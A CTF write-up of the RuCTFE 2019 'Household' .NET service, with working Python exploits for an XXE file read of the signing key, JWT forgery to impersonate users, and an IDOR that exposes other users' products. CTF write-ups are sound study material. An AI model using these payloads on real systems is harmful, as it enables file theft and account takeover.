Saarsec

saarsec

Schwenk and pwn

RuCTFE 2019 Writeup Household

Household is a service where you could create your own dishes and menus. It was written in DotNet, making disassembly possible through tools like DotPeek.

Before we dive into how the service could be exploited, let’s first have a look at the network traffic of the gameserver.

First, the gameserver registers a new account with the Identity provider which is part of the challenge:

POST /Identity/Account/Register HTTP/1.1
...

Input.Email=qegudiptht@uovpc.qo&Input.Password=RxSJIDNBVpGDxQCMNhviBRYBD&Input.Role=Cook

In the next step, the server logs into the newly created account

POST /Identity/Account/Login HTTP/1.1

Input.Email=qegudiptht@uovpc.qo&Input.Password=RxSJIDNBVpGDxQCMNhviBRYBD

Using the now established and logged in session, the next step is to request an authorization token for use with the actual service.

GET /connect/authorize?client_id=Household&response_type=code&scope=HouseholdAPI%20openid%20profile&state=6ggul5lk1dsi8fjohw7md3lpb1qku77w&response_mode=query&prompt=none&redirect_uri=http://10.62.142.2:5000/authentication/login-callback&code_challenge_method=S256&code_challenge=MZpaWVR3vVW7NzeacaXT7pUjL4IrYrEa8tSvRdH5NVk HTTP/1.1

Note that here the state is a random value. and the code challenge is just the sha256 value of a random value selected by the gameserver. The response to this query is

HTTP/1.1 302 Found
Location: http://10.62.142.2:5000/authentication/login-callback?code=WVsAamRT-X9az46pL2QivheysY9OJGQFxm0EWJ2e1yQ&scope=openid%20profile%20HouseholdAPI&state=6ggul5lk1dsi8fjohw7md3lpb1qku77w&session_state=cEcIJ0pSSo2stka8hSaeeBwmjdalvMrpSYxEPRZKueQ.SgTZ3m_L6JxmX7z6s7F28w

Note here, that we receive back the same state we sent before, but more importantly we get back the parameter code.

Final step for the login now is

POST /connect/token HTTP/1.1

client_id=Household&code=WVsAamRT-X9az46pL2QivheysY9OJGQFxm0EWJ2e1yQ&redirect_uri=http://10.62.142.2:5000/authentication/login-callback&code_verifier=GGSqgSHmgcjAGpxQTwYlQGjInkpfgHgPLvBfECOLxMNTwAExXbgbrEKAitmqSbGuKohGUOZRneEqBotUyOlMEknuaNbsowiBSyJJ&grant_type=authorization_code

The code_verifier here is just the randomly selected input to SHA256 we discussed above, the parameter code, though is the one we received from the response above. Once the gameservers posts this, the response is:

HTTP/1.1 200 OK

{"id_token":"eyJhbGciOiJQUzUxMiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE1NzQ1MDY4NjYsImV4cCI6MTU3NDUwNzE2NiwiaXNzIjoiaHR0cDovLzEwLjYyLjE0Mi4yOjUwMDAiLCJhdWQiOiJIb3VzZWhvbGQiLCJpYXQiOjE1NzQ1MDY4NjYsImF0X2hhc2giOiJZSXN6QVo4bkcxNDFyVk5uaE40bHkxYmY4TGt2OGhNWXlJTzRObFlJSEhVIiwic19oYXNoIjoicENGbnJtSlliN2QzdndBTmhwS0ppRHQwRnNoRmhxNm8tTkp2U2ZtZzhrWSIsInNpZCI6Ill4b1QtTnoyajlvSkF0SmhfTWxOd0EiLCJzdWIiOiJmZDJiZWU3NC1lYzMzLTQ1MDktOTc4Mi0yNWQ1ODRiNTMzM2MiLCJhdXRoX3RpbWUiOjE1NzQ1MDY4NjYsImlkcCI6ImxvY2FsIiwiYW1yIjpbInB3ZCJdfQ.zmtIG-UE96ET_gBpG4eIqkxyj3qwFRNIKv-5C-KwwetCMFXrNgRP7KwqXlbpBnK_pJIXC6hYh0DtuBIDISJ-d0y9c3nMe35aC7JkzarSjGrmyOoYDccWZEcSzTn3N3GUUT0Toc2mgbBjK0u-YI30ou7UKgGY6vk88V_idps8a5i9gM7kY32qy9ofypP8LDAIGe13HP4H0bJbtaW5j0ufPlmbao4RdeQsraRKYZ6lw2ag-t-WP2nRkKpVBCj0QB7E92WsUPTNCp9WSiSxH5bQucMJDK8wbGcG8_Mhfq-uwFBaNeX1Q0F4urFakk7rcf7rX4wqH36uuIYKI0vpr3F5lw","access_token":"eyJhbGciOiJQUzUxMiIsInR5cCI6ImF0K2p3dCJ9.eyJuYmYiOjE1NzQ1MDY4NjYsImV4cCI6MTU3NDUxMDQ2NiwiaXNzIjoiaHR0cDovLzEwLjYyLjE0Mi4yOjUwMDAiLCJhdWQiOiJIb3VzZWhvbGRBUEkiLCJjbGllbnRfaWQiOiJIb3VzZWhvbGQiLCJzdWIiOiJmZDJiZWU3NC1lYzMzLTQ1MDktOTc4Mi0yNWQ1ODRiNTMzM2MiLCJhdXRoX3RpbWUiOjE1NzQ1MDY4NjYsImlkcCI6ImxvY2FsIiwic2NvcGUiOlsib3BlbmlkIiwicHJvZmlsZSIsIkhvdXNlaG9sZEFQSSJdLCJhbXIiOlsicHdkIl19.LOrLTst3e1xgOLL6rUawBgT9fRIDzf0MIiqm3hT1b3SVfZy20H1xMGO2BWAajS9rp4pYrfHZP4QwFX41t3niPl0-gYoSHPzr3-xuhToHlIB9Q8uDFOkNQoqqD7C4PUyCh55_02DF5ZmOEaVUj6SSnt35jhKGrJD2WTJwZoNXtNF2k8D1gW9NhQoBiHfWTpYc6N5BKdXpK2bcsmXMfIBXjrbiIHlwqpPy0K3OtI7PRRQBwkZveX5YSBK7pcUx8YQuiPQs47m525CMu6YWkfN6lfcH6IO0GAZHRm4-0PQ6OiqCy7aM5x3OOxsHEYVgc4a_yLkqINBbfXA7aosqV1ow_A","expires_in":3600,"token_type":"Bearer","scope":"openid profile HouseholdAPI"}

From the response, we are only interested in the access_token, as the next step shows

POST /api/products/import HTTP/1.1

Authorization: Bearer eyJhbGciOiJQUzUxMiIsInR5cCI6ImF0K2p3dCJ9.eyJuYmYiOjE1NzQ1MDY4NjYsImV4cCI6MTU3NDUxMDQ2NiwiaXNzIjoiaHR0cDovLzEwLjYyLjE0Mi4yOjUwMDAiLCJhdWQiOiJIb3VzZWhvbGRBUEkiLCJjbGllbnRfaWQiOiJIb3VzZWhvbGQiLCJzdWIiOiJmZDJiZWU3NC1lYzMzLTQ1MDktOTc4Mi0yNWQ1ODRiNTMzM2MiLCJhdXRoX3RpbWUiOjE1NzQ1MDY4NjYsImlkcCI6ImxvY2FsIiwic2NvcGUiOlsib3BlbmlkIiwicHJvZmlsZSIsIkhvdXNlaG9sZEFQSSJdLCJhbXIiOlsicHdkIl19.LOrLTst3e1xgOLL6rUawBgT9fRIDzf0MIiqm3hT1b3SVfZy20H1xMGO2BWAajS9rp4pYrfHZP4QwFX41t3niPl0-gYoSHPzr3-xuhToHlIB9Q8uDFOkNQoqqD7C4PUyCh55_02DF5ZmOEaVUj6SSnt35jhKGrJD2WTJwZoNXtNF2k8D1gW9NhQoBiHfWTpYc6N5BKdXpK2bcsmXMfIBXjrbiIHlwqpPy0K3OtI7PRRQBwkZveX5YSBK7pcUx8YQuiPQs47m525CMu6YWkfN6lfcH6IO0GAZHRm4-0PQ6OiqCy7aM5x3OOxsHEYVgc4a_yLkqINBbfXA7aosqV1ow_A

--87e8fb3934624ba49d34843d96a345ba
Content-Type: multipart/form-data
Content-Disposition: form-data; name="t_name"; filename="t_name"; filename*=utf-8''t_name
Content-Length: 1756

<products><product>
    <name>Chard</name>
    <calories>19.0</calories>
    <protein>1.8</protein>
    <fat>0.2</fat>
    <carbohydrate>3.74</carbohydrate>
    <manufacturer>lofFrcpxYwNASVj</manufacturer>
</product><product>
...
</product></products>
--87e8fb3934624ba49d34843d96a345ba--

and the response

HTTP/1.1 200 OK

{"skip":-1,"take":4,"totalCount":4,"items":[{"id":12,"name":"Chard","manufacturer":"lofFrcpxYwNASVj","protein":1.8,"fat":0.2,"carbohydrate":3.74,"calories":19,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},{"id":13,"name":"Taco shells","manufacturer":"lOyoKqUHFEJKdcd","protein":6.41,"fat":21.79,"carbohydrate":63.49,"calories":476,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},{"id":14,"name":"Goose","manufacturer":"ZCxeqJBVgCNQLTS","protein":15.86,"fat":33.62,"carbohydrate":0,"calories":371,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},{"id":15,"name":"Popcorn","manufacturer":"XIsOmPJNAbLJPJV","protein":2,"fat":1.4,"carbohydrate":90.06,"calories":381,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"}]}

So, one option for the gameserver is upload an XML file containing products, which are then stored by the service, returning their IDs. At this point, you may already hear alarm sounds just thinking about XML parsing. But, we’ll get to that later.

Finally, the gameserver stores a flag

POST /api/Dishes HTTP/1.1
Authorization: Bearer ... (as before)

{"recipe": "U34Z63KS14YAAY38YEBZFA1E973435E=", "ingredients": [{"productId": 12, "weight": 2}, {"productId": 13, "weight": 8}, {"productId": 14, "weight": 5}, {"productId": 15, "weight": 4}], "name": "jNtowwOBYn", "description": "idUcFgVYGHcUndJWLXFIvpBvvcSsaPWxRdRjWeCamaLdpqaeOB", "portionWeight": 111}

In the response, the server now confirms the newly stored recipe:

HTTP/1.1 201 Created

{"recipe":"U34Z63KS14YAAY38YEBZFA1E973435E=","ingredients":[{"productId":12,"product":{"id":12,"name":"Chard","manufacturer":"lofFrcpxYwNASVj","protein":1.8,"fat":0.2,"carbohydrate":3.74,"calories":19,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},"weight":2},{"productId":13,"product":{"id":13,"name":"Taco shells","manufacturer":"lOyoKqUHFEJKdcd","protein":6.41,"fat":21.79,"carbohydrate":63.49,"calories":476,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},"weight":8},{"productId":14,"product":{"id":14,"name":"Goose","manufacturer":"ZCxeqJBVgCNQLTS","protein":15.86,"fat":33.62,"carbohydrate":0,"calories":371,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},"weight":5},{"productId":15,"product":{"id":15,"name":"Popcorn","manufacturer":"XIsOmPJNAbLJPJV","protein":2,"fat":1.4,"carbohydrate":90.06,"calories":381,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.877638"},"weight":4}],"id":5,"name":"jNtowwOBYn","description":"idUcFgVYGHcUndJWLXFIvpBvvcSsaPWxRdRjWeCamaLdpqaeOB","portionWeight":111,"portionProtein":8.306305263157894,"portionFat":20.355063157894737,"portionCarbohydrate":51.15581052631578,"portionCalories":422.09210526315786,"createdBy":"a692bf99-8d72-4559-aa17-4fb79e5345b5","createdDate":"2019-11-23T11:01:12.944937"}

The second way to store flags was to not use the XML import, but directly post data to /api/Products, in that case storing the flag as the manufacturer.

Two obvious points for bugs

From what we’ve seen so far, there are two obvious points for a bug. First, parsing XML is always prone to XML External Entities, which may allow us to read arbitrary files. The second one is that we are getting the Bearer token from application. Splitting the token on the dots and base64-decoding the payload, we find the following:

{"alg":"PS512","typ":"at+jwt"}
{"nbf":1574506866,"exp":1574510466,"iss":"http://10.62.142.2:5000","aud":"HouseholdAPI","client_id":"Household","sub":"fd2bee74-ec33-4509-9782-25d584b5333c","auth_time":1574506866,"idp":"local","scope":["openid","profile","HouseholdAPI"],"amr":["pwd"]}
<signature>

Obviously, this is a JSON Web Token (JWT), which consists of information about how the signature is built, the payload, and a signature over the payload. Hence, if we know what key is used to build the signature, we can simply forge a token for any user (or subject sub here). For that, though, we need to get the randomized user IDs somehow and know the key. So, let’s steal the key first. The entire code for the end-to-end exploit(s) is at the end. For now, let’s assume we already have a session established and know the Bearer token.

def leak_private_key():
    XXE = """<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE manufacturer [  
     <!ELEMENT manufacturer ANY >
     <!ENTITY xxe SYSTEM "file:///app/private.pem" >]>
     <products><product><name>Chard</name><calories>19.0</calories><protein>1.8</protein><fat>0.2</fat>
     <carbohydrate>3.74</carbohydrate><manufacturer>&xxe;</manufacturer></product></products>"""
    return sess.post('http://' + target + ':5000/api/products/import',
                     files={"t_name": XXE}).json()["items"][0]["manufacturer"]

private_key = leak_private_key()

In fact, in the CTF we had this running out of band and storing the collected keys in a redis key-value store. Hence, if someone fixed the leak, but forgot to update their key, we’d still have it.

Ok, step number 2, getting Identifiers of users we can target. Looking at the C# decompiler result, we find that we can see some info about all dishes:

[HttpGet("{id}")]
public ActionResult<DishView> GetDish(int id)
{
  Dish dishDataModel = ((IIncludableQueryable<Dish, IEnumerable<Ingredient>>) this.dataBase.Dishes.Include<Dish, List<Ingredient>>((Expression<Func<Dish, List<Ingredient>>>) (d => d.Ingredients))).ThenInclude<Dish, Ingredient, Product>((Expression<Func<Ingredient, Product>>) (ing => ing.Product)).FirstOrDefault<Dish>((Expression<Func<Dish, bool>>) (d => d.Id == id));
  if (dishDataModel == null)
    return ActionResult<DishView>.op_Implicit((ActionResult) this.NotFound());
  if (dishDataModel.CreatedBy != ((IdentityUser<string>) this.CurrentUser).get_Id())
    return ActionResult<DishView>.op_Implicit((DishView) this.GetViewCustomer(dishDataModel));
  return ActionResult<DishView>.op_Implicit((DishView) this.GetViewCook(dishDataModel));
}

Notwithstanding the weird way in which the dishes are fetched, depending on whether we are the owner we’ll either see the GetViewCook or the GetViewCustomer. The only difference between the two is that the customer cannot see the recipe; which is exactly the flag. When we do query the endpoint as a customer, though (i.e. /api/Dishes/1), this is the response:

{'ingredients': ['Pheasant', 'Whipped cream substitute', 'Oheloberries'], 'id': 1, 'name': 'PgGLTiSDbH', 'description': 'RuGkKxEmGLdBICStubBsbTcObTKmXcLoVLGLwApZnnspFBitMB', 'portionWeight': 188, 'portionProtein': 34.37475555555556, 'portionFat': 15.236355555555555, 'portionCarbohydrate': 7.286044444444444, 'portionCalories': 303.09777777777776, 'createdBy': 'f4adc87b-8a0f-437f-ae4e-f413cb409e17', 'createdDate': '2019-11-23T13:46:11.3896'}

Exploit #1

Surprise, we have the createdBy tag here, which is all we need to complete our exploit. So, our exploit basically boils down to the following:

def get_latest_dish():
    payload = {"description": randomstring(50), "name": randomstring(50),
               "ingredients": [], "portionWeight": 531, "recipe": randomstring(50)}
    resp = sess.post("http://" + target + ":5000/api/Dishes", json=payload)
    return resp.json()["id"]

def leak_for_user(user):
    user_info = {'nbf': int(time.time()), 'exp': int(time.time()) + 3600, 'iss': 'http://' + target + ':5000',
                 'aud': 'HouseholdAPI', 'client_id': 'Household', 'sub': user,
                 'auth_time': int(time.time()), 'idp': 'local', 'scope': ['openid', 'profile', 'HouseholdAPI'],
                 'amr': ['pwd']}
    at = jwt.encode(user_info, private_key, algorithm="PS512", headers={"typ": "at+jwt", "alg": "PS512"}).decode()
    sess.headers["Authorization"] = "Bearer %s" % at

    printflags(sess.get('http://' + target + ':5000' + '/api/Dishes').text)

latest_dish = get_latest_dish()

for i in range(latest_dish, latest_dish - 100, -1):
    data = sess.get("http://" + target + ":5000/api/Dishes/%d" % i).json()
    if "createdBy" in data:
        leak_for_user(data["createdBy"])

In addition to the ability to steal the secret, there would have been a much easier way as well: all teams were initialized with the exact same private key. Hence, just using the one from our box would have sufficed.

One less obvious bug

The second bug was less obvious, although I think it was exploited before the token forgery was. As we saw before, the gameserver would also store flags in products. Interestingly, these would not necessarily be added to dishes afterwards, so stealing the dish itself does not suffice.

However, whenever a dish is posted, there is no check whether the products added to that dish belonged to the owner of the dish or not. Once we have added a product to the dish and view it as the rightful owner of said dish, we get all the flags. The stupid variant of the attack is shown below

def get_latest_product():
    resp = sess.post('http://' + target + ':5000' + '/api/Products',
                     json={"name": "Yautia (tannier)", "protein": 1.46, "fat": 0.4, "carbohydrate": 23.63,
                           "calories": 98.0, "manufacturer": randomstring(32)})
    return resp.json()["id"]

new_dish = {"description": randomstring(50), "ingredients": [], "name": randomstring(10), "portionWeight": 531,
            "recipe": randomstring(50)}

latest_product = get_latest_product()
for i in range(latest_product - 1, latest_product - 1000, -1):
    new_dish["ingredients"].append({'productId': i, "weight": 13})

print("Stealing last 1000 products")
new_dish_response = sess.post('http://' + target + ':5000' + '/api/Dishes', json=new_dish)
printflags(new_dish_response.text)

Essentially, all our exploit is doing here is to post a new product so as to get the highest ID for any product. Next, we create a dictionary for a new dish and in the loop add the last 100 products to our own dish. In the response to that request, the service then provides us all the information about our products, most importantly the manufacturer, which carries the flag.

Discussion

While I really don’t like DotNet as much (I never have ideas how to patch stuff), the flaws in this service could have been guessed purely based on the network traffic. For some reason I do not know, our team was by far the most successful team (with 24,123 captured flags vs. 11,196 flags for the second-highest scorer). To fix the problem, we did not actually try to patch the service, but rather ensure that a) no HTTP requests with XXE payloads were allowed, b) no HTTP requests with a large number of products to be added were let through, and c) by changing our private key. While we still lost 61 flags in total, arguably this worked like a charm :-)

TLDR; cool service, easy enough to exploit across multiple vectors!